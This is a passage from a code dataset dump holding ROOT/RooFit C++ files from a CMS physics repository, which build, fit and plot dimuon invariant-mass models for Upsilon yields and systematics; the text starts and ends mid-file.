norms);\n\tws.import(sig, RooFit::RenameAllNodes((hi)?\"hi\":\"pp\"),\n\t\t\tRooFit::RenameAllVariablesExcept((hi)? \"hi\": \"pp\", \n\t\t\t\t\"npow,invariantMass,\"\n\t\t\t\t//\"prior,\"\n\t\t\t\t//\"mean,\"\n\t\t\t\t//\"turnOn,\"\n\t\t\t\t\"f23,f3o2,\"\n\t\t\t\t\"x23,x3o2,\"\n\t\t\t\t\"alpha,\"\n\t\t\t\t\"sigma1\"\n\t\t\t\t), \n\t\t\tRooFit::RecycleConflictNodes());\n\n\tswitch (bkgdModel) {\n\t\tcase 1 : //use RooKeysPdf to smooth the like-sign, then fit unlikesign with keys + pol1\n\t\t\tbkg_a2.setConstant(kTRUE);\n\t\t\tpdfs.add(RooArgList(*LikeSignPdf, bkgPoly));\n\t\t\tnorms.add(RooArgList(*nLikeSign, *nPoly));\n\t\t\tbreak;\n\n\t\tcase 2 : //use RooKeysPdf to smooth the like-sign, then fit unlikesign with keys + pol2\n\t\t\tbkg_a2.setConstant(kFALSE);\n\t\t\tpdfs.add(RooArgList(*LikeSignPdf, bkgPoly));\n\t\t\tnorms.add(RooArgList(*nLikeSign, *nPoly));\n\t\t\tbreak;\n\n\t\tcase 3 : //use erf * exp to fit the unlike-sign\n\t\t\tbkgErfExp.SetName(\"bkg\");\n\t\t\tpdfs.add(bkgErfExp);\n\t\t\tnorms.add(nbkg);\n\t\t\tbreak;\n\n\t\tcase 4 : //use pol2 to fit the unlike-sign\n\t\t\tbkgPoly.SetName(\"bkg\");\n\t\t\tbkg_a2.setConstant(kFALSE);\n\t\t\tpdfs.add(bkgPoly);\n\t\t\tnorms.add(nbkg);\n\t\t\tbreak;\n\n\t\tcase 5 : //use pol1 to fit the unlike-sign\n\t\t\tbkgPoly.SetName(\"bkg\");\n\t\t\tbkg_a2.setConstant(kTRUE);\n\t\t\tpdfs.add(bkgPoly);\n\t\t\tnorms.add(nbkg);\n\t\t\tbreak;\n\n\t\tcase 6 : //use erf*exp to fit like-sign, then fit unlikesign with keys + pol1\n\t\t\tbkg_a2.setConstant(kTRUE);\n\t\t\tpdfs.add(RooArgList(bkgErfExp, bkgPoly));\n\t\t\tnorms.add(RooArgList(*nLikeSign, *nPoly));\n\t\t\tbreak;\n\n\t\tcase 7 : //use erf*exp to fit like-sign, then fit unlikesign with keys + pol2\n\t\t\tbkg_a2.setConstant(kFALSE);\n\t\t\tpdfs.add(RooArgList(bkgErfExp, bkgPoly));\n\t\t\tnorms.add(RooArgList(*nLikeSign, *nPoly));\n\t\t\tbreak;\n\n\t\tdefault :\n\t\t\tbreak;\n\t}\t\n\t// RooAddPdf pdf(pdfName, pdfName, RooArgList(sig, bkg));\n\n\tRooAddPdf pdf(\"pdf\", \"pdf\", pdfs, norms);\n\n\t//pdf.Print(\"v\");\n\tws.import(pdf, \n\t\t\tRooFit::RenameAllNodes((hi)?\"hi\":\"pp\"),\n\t\t\tRooFit::RenameAllVariablesExcept((hi)? \"hi\": \"pp\", \n\t\t\t\t\"npow,invariantMass,\"\n\t\t\t\t//\"prior,\"\n\t\t\t\t//\"turnOn,\"\n\t\t\t\t//\"mean,\"\n\t\t\t\t\"f23,f3o2,\"\n\t\t\t\t\"x23,x3o2,\"\n\t\t\t\t\"alpha,\"\n\t\t\t\t\"sigma1\"\n\t\t\t\t),\n\t\t\tRooFit::RecycleConflictNodes());\n\n\tif (bkgdModel == 1 || bkgdModel == 2 || bkgdModel == 6 || bkgdModel == 7) {\n\t\tdelete nLikeSign;\n\t\tdelete LikeSignPdf;\n\t\tdelete nPoly;\n\t}\n\treturn true;\n}\n\nRooSimultaneous* buildSimPdf(RooWorkspace &ws, RooCategory& dataCat) {\n\n\tif (ws.pdf(\"simPdf\"))\n\t\treturn dynamic_cast<RooSimultaneous *>(ws.pdf(\"simPdf\"));\n\n\tRooSimultaneous simPdf(\"simPdf\", \"simPdf\", dataCat);\n\tRooAbsPdf * pdf_hi = ws.pdf(\"pdf_hi\");\n\tRooAbsPdf * pdf_pp = ws.pdf(\"pdf_pp\");\n\tassert(pdf_hi);\n\tassert(pdf_pp);\n\tsimPdf.addPdf(*pdf_hi, \"hi\");\n\tsimPdf.addPdf(*pdf_pp, \"pp\");\n\tws.import(simPdf, RooFit::Silence());\n\treturn dynamic_cast<RooSimultaneous *>(ws.pdf(\"simPdf\"));\n\n}\n\n\n\n// RooSimultaneous* buildNullPdf(RooWorkspace &ws, RooCategory const &dataCat) {\n// if (!ws.pdf(\"pdf\") && buildPdf(ws)) {\n// std::cout << \"cannot get pdf.\\n\";\n// return 0;\n// }\n\n// RooSimPdfBuilder sb(RooArgSet(*(ws.pdf(\"pdf\"))));\n// RooArgSet * config = sb.createProtoBuildConfig();\n// config->setStringValue(\"physModels\", \"pdf\");\n// config->setStringValue(\"splitCats\", dataCat.GetName());\n// config->setStringValue(\"pdf\", TString(dataCat.GetName()) + \" : f2,nsig1,nbkg,bkg_a1,bkg_a2\");\n\n// RooArgSet deps(*(ws.var(\"invariantMass\")),dataCat);\n\n// RooSimultaneous * sim = sb.buildPdf(*config, deps);\n// sim->SetName(\"simNullPdf\");\n\n// ws.import(*sim, RooFit::RenameConflictNodes(\"null\"),\n// \t RooFit::RenameAllVariablesExcept(\"null\", \"invariantMass,dataCat\"));\n\n// return (RooSimultaneous *)ws.pdf(\"simNullPdf\");\n// }\n\nbool readData(RooWorkspace &ws, TString HIfilename, TString ppFilename,\n\t\tTString extraCut = \"\") {\n\n\tRooRealVar * mass = ws.var(\"invariantMass\");\n\tif (!mass) {\n\t\tmass = new RooRealVar(\"invariantMass\", \"#mu#mu mass\", mmin, mmax, \n\t\t\t\t\"GeV/c^{2}\");\n\t\tmass->setBins(70);\n\t}\n\tRooRealVar muppt(\"muPlusPt\" ,\"#mu+ pt\",2,20,\"GeV/c\"); \n\tRooRealVar mumpt(\"muMinusPt\",\"#mu- pt\",2,20,\"GeV/c\"); \n\tRooRealVar upsPt(\"upsPt\",\"p_{T}(#Upsilon)\",0.,\"GeV/c\");\n\tRooRealVar vProb(\"vProb\",\"vProb\",0.05,1);\n\t// RooRealVar upsEta(\"upsEta\",\"#eta(#Upsilon)\",0.,\"\");\n\tRooRealVar upsRapidity(\"upsRapidity\", \"upsRapidity\", 0.);\n\tRooCategory QQsign(\"QQsign\", \"QQsign\");\n\tQQsign.defineType(\"PlusMinus\", 0);\n\tQQsign.defineType(\"PlusPlus\", 1);\n\tQQsign.defineType(\"MinusMinus\", 2);\n\tRooRealVar Centrality(\"Centrality\", \"Centrality\", 0.);\n\n\tRooArgSet cols(*mass, muppt, mumpt, upsPt, vProb, upsRapidity, QQsign, Centrality);\n\n\t//import HI data\n\tTFile * hifile = TFile::Open(HIfilename);\n\tTTree * tree;\n\tTString dirTree = treeName;\n\tif (dirname_.Length() > 0)\n\t\tdirTree = dirname_ + \"/\" + treeName;\n\thifile->GetObject(dirTree, tree);\n\tassert(tree);\n\tTFile temp(\"DeleteMe.root\", \"recreate\");\n\tif (extraCut.Length() > 0) {\n\t\tTTree * tree2 = tree->CopyTree(extraCut);\n\t\t//TTree * tree2 = tree->CopyTree(extraCut + \"&& Centrality>=2 && Centrality < 4\");\n\t\tdelete tree;\n\t\ttree = tree2;\n\t}\n\n\tRooDataSet hidata(\"hidata\", \"hidata\", tree, cols);\n\tdelete tree;\n\tdelete hifile;\n/*Only for track rotation*/\n\t//improt tack rotation data\n TFile * hiTrkRotfile = TFile::Open(HIfilename);\n tree = 0;\n TString dirTree_TrkRot = treeTrkRot;\n if (dirname_.Length() > 0) \n\t\tdirTree_TrkRot = dirname_ + \"/\" + treeTrkRot;\n hiTrkRotfile->GetObject(dirTree_TrkRot, tree);\n assert(tree);\n\ttemp.cd();\n if (extraCut.Length() > 0) {\n TTree * tree2 = tree->CopyTree(extraCut);\n delete tree;\n tree = tree2;\n } \n\n RooDataSet hidata_TrkRot(\"hidata_TrkRot\", \"hidata_TrkRot\", tree, cols);\n delete tree;\n delete hiTrkRotfile;\n\n\t//import pp data\n\tTFile * ppfile = TFile::Open(ppFilename);\n\ttree = 0;\n\tppfile->GetObject(dirTree, tree);\n\tassert(tree);\n\ttemp.cd();\n\tif (extraCut.Length() > 0) {\n\t\tTTree * tree2 = tree->CopyTree(extraCut);\n\t\tdelete tree;\n\t\ttree = tree2;\n\t}\n\n\tRooDataSet ppdata(\"ppdata\", \"ppdata\", tree, cols);\n\tdelete tree;\n\tdelete ppfile;\n\n\tRooCategory dataCat(\"dataCat\", \"dataCat\");\n\tdataCat.defineType(\"hi\");\n\tdataCat.defineType(\"pp\");\n\tdataCat.defineType(\"TrkRot\");\n\n\tRooDataSet data(\"data\", \"data\", cols, RooFit::Index(dataCat),\n/*Only for track rotation*/\n\t\tRooFit::Import(\"hi\", hidata), RooFit::Import(\"pp\", ppdata), RooFit::Import(\"TrkRot\", hidata_TrkRot));\n// RooFit::Import(\"hi\", hidata), RooFit::Import(\"pp\", ppdata));\n\t data.Print(\"v\");\n\treturn ws.import(data/*, RooFit::RecycleConflictNodes(), RooFit::Silence()*/); \n}\n\ndouble computeRatio(RooRealVar& x, RooRealVar& y) {\n\tassert(y.getVal() != 0);\n\treturn x.getVal()/y.getVal();\n}\n\ndouble computeRatioError(RooRealVar& x, RooRealVar& y, \n\t\tdouble correlation = 0.) {\n\tdouble err2 = x.getError()*x.getError()/x.getVal()/x.getVal() +\n\t\ty.getError()*y.getError()/y.getVal()/y.getVal() - \n\t\t2.*x.getError()*y.getError()/x.getVal()/y.getVal()*correlation;\n\n\treturn fabs(computeRatio(x,y))*sqrt(err2);\n}\n\n/*\nvoid modelconfig(RooWorkspace &ws){\n RooWorkspace * pWs = new RooWorkspace(\"myWS\");\n pWs = &ws;\n // fix all other variables in model:\n // everything except observables, POI, and nuisance parameters\n // must be constant\n pWs->var(\"alpha\")->setConstant(true);\n pWs->var(\"bkg_a1_pp\")->setConstant(true);\n pWs->var(\"bkg_a2_pp\")->setConstant(true);\n pWs->var(\"decay_hi\")->setConstant(true);\n pWs->var(\"f2\")->setConstant(true);\n pWs->var(\"f23\")->setConstant(true);\n pWs->var(\"mean_hi\")->setConstant(true);\n pWs->var(\"mean_pp\")->setConstant(true);\n pWs->var(\"nbkg_hi\")->setConstant(true);\n pWs->var(\"nbkg_pp\")->setConstant(true);\n pWs->var(\"sigma1\")->setConstant(true);\n pWs->var(\"turnOn_hi\")->setConstant(true);\n pWs->var(\"width_hi\")->setConstant(true);\n pWs->var(\"x2\")->setConstant(true);\n pWs->var(\"x23\")->setConstant(true);\n RooArgSet fixed(\"fixed\");\n fixed.add( *(pWs->var(\"alpha\")));\n fixed.add( *(pWs->var(\"bkg_a1_pp\")));\n fixed.add( *(pWs->var(\"bkg_a2_pp\")));\n fixed.add( *(pWs->var(\"decay_hi\")));\n fixed.add( *(pWs->var(\"f2\")));\n fixed.add( *(pWs->var(\"f23\")));\n fixed.add( *(pWs->var(\"mean_hi\")));\n fixed.add( *(pWs->var(\"mean_pp\")));\n fixed.add( *(pWs->var(\"nbkg_hi\")));\n fixed.add( *(pWs->var(\"nbkg_pp\")));\n fixed.add( *(pWs->var(\"sigma1\")));\n fixed.add( *(pWs->var(\"turnOn_hi\")));\n fixed.add( *(pWs->var(\"width_hi\")));\n fixed.add( *(pWs->var(\"x2\")));\n fixed.add( *(pWs->var(\"x23\")));\n // create signal+background Model Config\n RooStats::ModelConfig sbHypo(\"SbHypo\");\n sbHypo.SetWorkspace( *pWs);\n sbHypo.SetPdf( *pWs->pdf(\"simPdf\") );\n sbHypo.SetObservables( *pWs->var(\"invariantMass\") );\n //sbHypo.SetGlobalObservables( globalObs );\n sbHypo.SetParametersOfInterest( *pWs->var(\"x23\") );\n //sbHypo.SetNuisanceParameters( nuis );\n sbHypo.SetPriorPdf( *pWs->pdf(\"prior\") ); // this is optional\n // import ModelConfig into workspace\n pWs->import( sbHypo );\n pWs->SaveAs(\"workspace.root\");\n return;\n}\n*/\n" }, { "alpha_fraction": 0.6009950041770935, "alphanum_fraction": 0.6308457851409912, "avg_line_length": 28.558822631835938, "blob_id": "4116bd5417be0c3e946aa1abad625086c64d0b5a", "content_id": "3708c205920a65bd4046e8616572cb1bda914173", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1005, "license_type": "no_license", "max_line_length": 100, "num_lines": 34, "path": "/plotting/systematics.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#include \"data_raa2015.h\"\nusing namespace std;\nfloat maxDeviation(float yieldRef,float yield[], int nvars){\n float diff;\n float tmp=0; //\n for (int i=0; i<nvars;i++){\n // cout << \" tested \"<< yield[i] <<endl;\n diff=(yield[i]-yieldRef)/yieldRef;\n // cout << diff << \" is the relative deviation\" << endl;\n if ( fabs(diff)>tmp) {tmp=diff; cout << 100*tmp << \" % relative deviation kept\" <<endl;}else {}\n }\n return tmp;\n}\n\nfloat RMS(float yieldRef, float yieldVars[],int nvars){\n float RMS;\n float MS=0; \n for (int i=0; i<nvars;i++){\n // cout << MS << endl;\n MS += pow((yieldRef-yieldVars[i]),2);\n }\n RMS = sqrt(MS/(nvars-1))/yieldRef;\n // cout << RMS << endl;\n return RMS;\n}\nfloat systematics(){\n float fitvar, bkgdvar;\n float syst1S_aa_Cent_test;\n fitvar =RMS(N1S_aa_cent3p5[0],N1S_aa_cents_5,nfitvars);\n bkgdvar =maxDeviation(N1S_aa_cent3p5[0],N1B_aa_cents_100,nbkgdvars);\n syst1S_aa_Cent_test=sqrt(fitvar*fitvar+bkgdvar*bkgdvar);\n\n return syst1S_aa_Cent_test;\n}\n" }, { "alpha_fraction": 0.5665662288665771, "alphanum_fraction": 0.5972929000854492, "avg_line_length": 46.296730041503906, "blob_id": "5f8fa824ffff4b86f1d5507da14a6d3825d36dd5", "content_id": "946b5c3fc9ad33f75ed146590803221ef41a3d53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 20243, "license_type": "no_license", "max_line_length": 570, "num_lines": 428, "path": "/fitting/fitAndDraw.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "#ifndef fitAndDraw_C\n#define fitAndDraw_C\n\n#include \"../plotting/CMS_lumi.C\"\n#include \"../plotting/tdrstyle.C\"\n#include \"allFunctions.h\"\n\nusing namespace RooFit;\n\nbool scanLL = false;\nconst float gTextSize = 0.04;\n\nvoid fitAndDraw_PAS(const char* filename, bool ispbpb, const char* outdir, const char* figname=\"fig\")\n{\n TFile *f = new TFile(filename);\n RooWorkspace *_ws = (RooWorkspace*) f->Get(\"_ws\");\n int ChooseSample= ispbpb ? 6 : 7;\n int ChooseFitParams=-1;\n int bkgModel=3;\n float muonPtCut1=3.5;\n float muonPtCut2=4.;\n int centMin=0;\n int centMax=100;\n float upsPtStart=0.;\n float upsPtEnd=20.;\n float upsRapStart=0.;\n float upsRapEnd=2.4;\n int doRap=!ispbpb;\n int doPt=0;\n int doCent=ispbpb; \n\n // set the style\n setTDRStyle();\n\n fitAndDraw(*_ws,ChooseSample,figname,outdir,outdir,ChooseFitParams,bkgModel,muonPtCut1,muonPtCut2,centMin,centMax,upsPtStart,upsPtEnd,upsRapStart,upsRapEnd,doRap,doPt,doCent,true); \n}\n\nvoid fitAndDraw(RooWorkspace& w, \n int chooseSample , \n TString figname_, \n TString outDatDir , \n TString outFigDir, \n int chooseFitParams,\n int bkgdModel,\n float muonPt1, \n float muonPt2,\n int centMin, \n int centMax, \n float upsPtStart, \n float upsPtEnd, \n float upsRapStart, \n float upsRapEnd, \n int doRap, \n int doPt,\n int doCent, \n bool PASstyle=false){\n double ycms = 0.28;// for header cms legend, and pull sometimes\n double xcms = PASstyle ? 0.17 : 0.04;\n double yblabla = PASstyle ? 0.8 : 1.;\n double deltay = 0.03;\n RooRealVar* mass =(RooRealVar*) w.var(\"invariantMass\"); //\n RooDataSet* data0_fit =(RooDataSet*) w.data(\"data\");\n RooAbsPdf* pdf = (RooAbsPdf*) w.pdf(\"pdf\");\n RooFitResult* fitObject = pdf->fitTo(*data0_fit,Save(),Hesse(kTRUE),Extended(kTRUE)); // Fit\n pdf->Print();\n Double_t baseNll = fitObject->minNll();\n // RooMinuit m(*nll);\n RooRealVar *nsig1f =(RooRealVar*) w.var(\"N_{ #varUpsilon(1S)}\");\n ////////// PLOTTING\n TString bkgSuffix;\n // m.migrad();\n // m.hesse();\n // m.minos(w.var(\"nsig3f\"));\n // RooFitResult* fitRes = m.save();\n RooArgSet allvars = w.allVars();\n int npars= allvars.getSize() ;\n int nbins = ceil((mass_h-mass_l)/binw); // all of which are 'globally' defined in the .h header\n RooPlot* frame = mass->frame(Bins(nbins),Range(mass_l,mass_h)); \n data0_fit->plotOn(frame);// data drawn first for pdf object to pick the proper normalisation\n pdf->plotOn(frame,Name(\"thePdf\"));\n switch(bkgdModel){\n case 1:\n pdf->plotOn(frame,Components(\"ChebPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),FillColor(kBlue));\n pdf->plotOn(frame,Components(\"ErrPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),FillColor(kOrange));// ErrFunction bkg\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),LineStyle(kDashed));\n RooArgSet * pars = ErrPdf->getParameters(likesignData);\n break;\n case 2:\n pdf->plotOn(frame,Components(\"ChebPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),FillColor(kBlue));\n pdf->plotOn(frame,Components(\"KeysPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),FillColor(kOrange));// ErrFunction bk\n RooArgSet * pars = KeysPdf->getParameters(likesignData);\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),LineStyle(kDashed));\n break;\n case 3:\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),LineStyle(kDashed));\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),LineStyle(kDashed));\n break;\n case 4:\n bkgSuffix=\"_bkg1\";\n pdf->plotOn(frame,Components(\"ChebPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),FillColor(kOrange));\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1));\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),LineStyle(kDashed));\n break;\n case 5:\n bkgSuffix=\"_bkg2\";\n pdf->plotOn(frame,Components(\"ChebPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),FillColor(kOrange));\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1));\n // pdf->plotOn(frame,Components(\"ErrPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1),FillColor(kBlue));// ErrFunction bk\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),LineStyle(kDashed));\n break;\n case 6:\n pdf->plotOn(frame,Components(\"bkgPdf\"),Name(\"theBkg\"),VisualizeError(*fitObject,1));\n break;\n default:\n break;\n }\n data0_fit->plotOn(frame) ;// drawing data pts over pdf line (looks best).\n pdf->plotOn(frame,Name(\"thePdf\")); // signal + bkg pdf\n frame->SetTitle(\"\");\n frame->GetXaxis()->SetTitle(\"m_{#mu^{+}#mu^{-}} (GeV/c^{2})\");\n frame->GetXaxis()->CenterTitle(kTRUE);\n if (PASstyle && chooseSample==6) frame->GetYaxis()->SetRangeUser(0,(nsig1f->getVal()/1.3));\n if (PASstyle && chooseSample==7) frame->GetYaxis()->SetRangeUser(0,(nsig1f->getVal()/1.75));\n if (!PASstyle)\n {\n frame->GetYaxis()->SetTitleOffset(1.4);\n frame->GetYaxis()->SetTitleSize(0.04);\n }\n else\n {\n frame->GetYaxis()->SetTitleOffset(frame->GetYaxis()->GetTitleOffset()*1.5);\n frame->GetYaxis()->SetTitleSize(0.045);\n }\n //Draw stuff!\n TCanvas* cm = !PASstyle ? new TCanvas(\"cm\",\"cm\") : new TCanvas(\"cm\", \"cm\",423,55,600,600);\n cm->cd();\n TPad *pPad1 = new TPad(\"pPad1\",\"pPad1\",xcms,ycms-1.9*deltay,0.98,0.92);\n\n // pPad1->SetBottomMargin(0.03);\n if (!PASstyle)\n {\n pPad1->Draw();\n pPad1->cd();\n pdf->paramOn(frame,Layout(0.6,0.935,0.97),Format(\"NEAU\",AutoPrecision(1)));\n TLatex *cms = new TLatex (xcms*3,ycms/3,\"CMS\");\n cms->SetTextFont(62);\n cms->SetTextSize(0.7);\n cms->Draw();\n TLatex *prelim =new TLatex(xcms*6.5,ycms/3,\"Preliminary\");\n prelim->SetTextFont(52);\n prelim->SetTextSize(0.4);\n prelim->Draw();\n }\n gPad->Update();\n frame->Draw();\n TLatex latex1;\n latex1.SetNDC();\n latex1.SetTextSize(gTextSize);\n if (PASstyle) latex1.SetTextFont(42);\n latex1.DrawLatex(xcms*4,yblabla-0.05*5.6,Form(\"p_{T}^{#mu_{1}} > %.1f GeV/c\",muonPt1));\n latex1.DrawLatex(xcms*4,yblabla-0.05*6.9,Form(\"p_{T}^{#mu_{2}} > %.1f GeV/c\",muonPt2));\n if(doPt){\n if(upsPtEnd<3){\n latex1.DrawLatex(xcms*4,yblabla-0.05*2,Form(\"p_{T} < %.1f\",upsPtEnd));\n }else{\n latex1.DrawLatex(xcms*4,yblabla-0.05*2,Form(\"%.1f < p_{T} < %.1f\",upsPtStart,upsPtEnd));\n }\n latex1.DrawLatex(xcms*4,yblabla-0.05*3.2,\"|y| < 2.4\");\n }\n if(doRap){\n if(upsRapStart<0.1){\n if(((upsRapEnd>1.1&&upsRapEnd<1.3)||upsRapEnd>2.3) || upsRapEnd<0.5)\n {\n latex1.DrawLatex(xcms*4,yblabla-0.05*(PASstyle ? 4.4 : 2),Form(\"|y| < %.1f\",upsRapEnd));\n }\n else{ latex1.DrawLatex(xcms*4,yblabla-0.05*2,Form(\"%.1f < |y| < %.1f\",upsRapStart,upsRapEnd));}\n }else{\n latex1.DrawLatex(xcms*4,yblabla-0.05*2,Form(\"%.1f < |y| < %.1f\",upsRapStart,upsRapEnd));}\n }\n if(doCent){\n if (!PASstyle) \n {\n latex1.DrawLatex(xcms*4,yblabla-0.05*2,Form(\"Cent. %d-%d%%\",centMin,centMax));\n latex1.DrawLatex(xcms*4,yblabla-0.05*3.2,\"p_{T} > 0\");\n latex1.DrawLatex(xcms*4,yblabla-0.05*4.4,\"|y| < 2.4\");\n }\n else\n {\n latex1.DrawLatex(xcms*4,yblabla-0.05*3.2,Form(\"Cent. %d-%d%%\",centMin,centMax));\n latex1.DrawLatex(xcms*4,yblabla-0.05*4.4,\"|y| < 2.4\");\n }\n }\n\n\n cm->cd();\n\n TPad *pPad2 = new TPad(\"pPad2\",\"pPad2\",xcms,0,0.98,ycms+deltay/1.3);\n pPad2->SetTopMargin(0.0);\n pPad2->SetBottomMargin(0.4);\n if (!PASstyle)\n {\n pPad2->Draw();\n pPad2->cd();\n // **************** create pulls; change the chi2 calculation also\n double chi2FromRoo = frame->chiSquare(fitObject->floatParsFinal().getSize());\n cout<<\"!!!!!!!! chi2 from simple pull= \"<<frame->chiSquare()<<\"\\t chi2 from RooFit= \"<<chi2FromRoo <<endl;\n RooHist *phPullm = frame->pullHist(0,0,true); // this calcualtes the pulls taking the integral of the fit in each bin, instead of the value in the middle of the bid\n phPullm->SetName(\"phPullm\");\n double *ypull = phPullm->GetY();\n\n TH1 *phData = data0_fit->createHistogram(\"invariantMass\",nbins);\n double Chi2 = 0;\n int nFullBinsPull = 0;\n for (int i=0; i < nbins; i++) \n {\n if (phData->GetBinContent(i) == 0) continue;\n nFullBinsPull++;\n Chi2 = Chi2 + pow(ypull[i],2);\n }\n\n // for writing on canvas\n int nFitParam = fitObject->floatParsFinal().getSize();\n int Dof = nFullBinsPull - nFitParam;\n double UnNormChi2 = Chi2;\n Chi2 /= (nFullBinsPull - nFitParam);\n\n cout<<\"!!!!! nFullBinsPull=\"<<nFullBinsPull<<\"\\tnFitParam=\"<<nFitParam<<endl;\n // draw pulls\n pPad2->cd();\n double mFrameMax = 0;\n RooPlot* prpFramePull = mass->frame(Title(\"Pull\"),Bins(nbins),Range(mass_l,mass_h));\n prpFramePull->GetYaxis()->CenterTitle(kTRUE);\n prpFramePull->GetYaxis()->SetTitleOffset(0.4);\n prpFramePull->GetYaxis()->SetTitleSize(0.1);\n prpFramePull->GetYaxis()->SetLabelSize(0.1);\n prpFramePull->GetYaxis()->SetTitle(\"Pull\");\n prpFramePull->GetXaxis()->CenterTitle(kTRUE);\n prpFramePull->GetXaxis()->SetTitleOffset(1);\n prpFramePull->GetXaxis()->SetTitleSize(0.12);\n prpFramePull->GetXaxis()->SetLabelSize(0.1);\n prpFramePull->GetXaxis()->SetTitle(\"m_{#mu^{+}#mu^{-}} (GeV/c^{2})\");\n prpFramePull->addPlotable(phPullm,\"PX\");\n\n // if (prpFramePull->GetMinimum()*-1 > prpFramePull->GetMaximum()) mFrameMax = prpFramePull->GetMinimum()*-1;\n // else mFrameMax = prpFramePull->GetMaximum();\n // prpFramePull->SetMaximum(mFrameMax); \n // prpFramePull->SetMinimum(-1*mFrameMax); \n prpFramePull->Draw();\n //plot parameters\n\n latex1.SetTextSize(0.085);\n double myChi2 = chi2FromRoo*Dof;\n latex1.DrawLatex(0.7,1.-ycms/3,Form(\"#chi^{2}/ndf = %2.1f/%d\",myChi2,Dof));\n }\n\n //Drawing the title\n cm->cd();\n if (!PASstyle)\n {\n TPad phead(\"phead\",\"phead\",xcms,0.91,1.,1.,0,0,0); \n\n phead.Draw(); phead.cd(); \n\n TLatex *cms = new TLatex (xcms*3,ycms/3,\"CMS\");\n cms->SetTextFont(62);\n cms->SetTextSize(0.7);\n cms->Draw();\n TLatex *prelim =new TLatex(xcms*6.5,ycms/3,\"Preliminary\");\n prelim->SetTextFont(52);\n prelim->SetTextSize(0.4);\n prelim->Draw();\n\n if(chooseSample==6){ \n TLatex *sqrtS = new TLatex (xcms*14,ycms/3,\"PbPb 166 #mub^{-1} (2.76 TeV)\"); \n }else if(chooseSample==7){\n TLatex *sqrtS = new TLatex (xcms*15,ycms/3,\"pp 5.4 pb^{-1} (2.76 TeV)\"); \n }else{ }\n sqrtS->SetTextFont(62); //#sqrt{s} = 2.76 TeV\n sqrtS->SetTextSize(0.4);\n sqrtS->SetTextColor(kBlack);\n sqrtS->Draw(); \n cm.cd();\n TPad pfoot(\"pfoot\",\"pfoot\",0,0,1,ycms/3,0,0,0); \n pfoot.Draw(); pfoot.cd(); \n\n TLatex *mmumu = new TLatex (xcms*10,ycms*1.2,\"m_{#mu#mu} [GeV/c^{2}]\");\n mmumu->SetTextFont(42);\n mmumu->SetTextSize(0.5);\n mmumu->Draw();\n }\n else\n {\n CMS_lumi(cm,chooseSample==6 ? 101 : 102,33);\n cm->Update();\n cm->RedrawAxis();\n cm->GetFrame()->Draw();\n }\n\n\n // output file names \n if (bkgdModel!=3){ string outPdf = outFigDir+\"/\"+figname_+\"_\"+bkgSuffix+\".pdf\";}\n else{ string outPdf = outFigDir+\"/\"+figname_+\".pdf\";}\n cm->SaveAs(outPdf.c_str());\n if (bkgdModel!=3){ string outParameters = outDatDir+\"/\"+figname_+\"_\"+bkgSuffix+\".txt\";}\n else { string outParameters = outDatDir+\"/\"+figname_+\".txt\";}\n //string outParameters_forNote = outDatsDir+\"/\"+figname_+\"forNote.txt\";\n cout<<\"Output file: \" << outParameters<<endl;\n ofstream outfileFitResults;\n outfileFitResults.open(outParameters.c_str(), ios_base::out); \n // redefinition of variables //\n\n RooRealVar *nsig2f =(RooRealVar*) w.var(\"N_{ #varUpsilon(2S)}\");\n RooRealVar *nsig3f =(RooRealVar*) w.var(\"N_{ #varUpsilon(3S)}\");\n RooRealVar *mean =(RooRealVar*) w.var(\"m_{ #varUpsilon(1S)}\");\n RooRealVar *sigma1 =(RooRealVar*) w.var(\"#sigma_{CB1}\");\n RooRealVar *alpha =(RooRealVar*) w.var(\"#alpha_{CB}\");\n RooRealVar *npow =(RooRealVar*) w.var(\"n_{CB}\");\n RooRealVar *sigmaFraction = (RooRealVar*) w.var(\"sigmaFraction\");\n RooRealVar *scaleWidth = (RooRealVar*) w.var(\"#sigma_{CB2}/#sigma_{CB1}\");\n RooRealVar *f2Svs1S = (RooRealVar*) w.var(\"R_{#frac{2S}{1S}}\");\n RooRealVar *f3Svs1S = (RooRealVar*) w.var(\"R_{#frac{3S}{1S}}\");\n RooRealVar width = (RooRealVar) w.var(\"width\");\n RooRealVar turnOn =(RooRealVar) w.var(\"turnOn\");\n RooRealVar decay =(RooRealVar) w.var(\"decay\");\n // RooRealVar *rat2 = (RooRealVar*) w.var(\"m_{(2S)/(1S)}\");\n // RooRealVar *rat3 = (RooRealVar*) w.var(\"m_{(3S)/(1S)}\");\n\n //////////// LL SCAN\n\n if(scanLL){ // doing the log-likelihood scan to check the convergence in fits.\n RooAbsReal* nll = pdf->createNLL(*data0_fit,NumCPU(4)) ;\n RooMinuit(*nll).migrad();\n TCanvas cParamScan(\"cParamScan\",\"parameterScan\",1500,1000);\n cParamScan.Divide(3,3);\n cParamScan.cd(1);\n if(chooseSample!=8){\n RooPlot* frame_width = width.frame(Bins(100),Range(width.getVal()-width.getError(),width.getVal()+width.getError())) ;\n nll->plotOn(frame_width,ShiftToZero()) ;\n frame_width->SetMinimum(0);\n frame_width->SetMaximum(4);\n // RooAbsReal* pll_width = nll->createProfile(width) ;\n // pll_width->plotOn(frame_width,LineColor(kRed)) ;\n frame_width->Draw();\n cParamScan.cd(2);\n RooPlot* frame_decay = 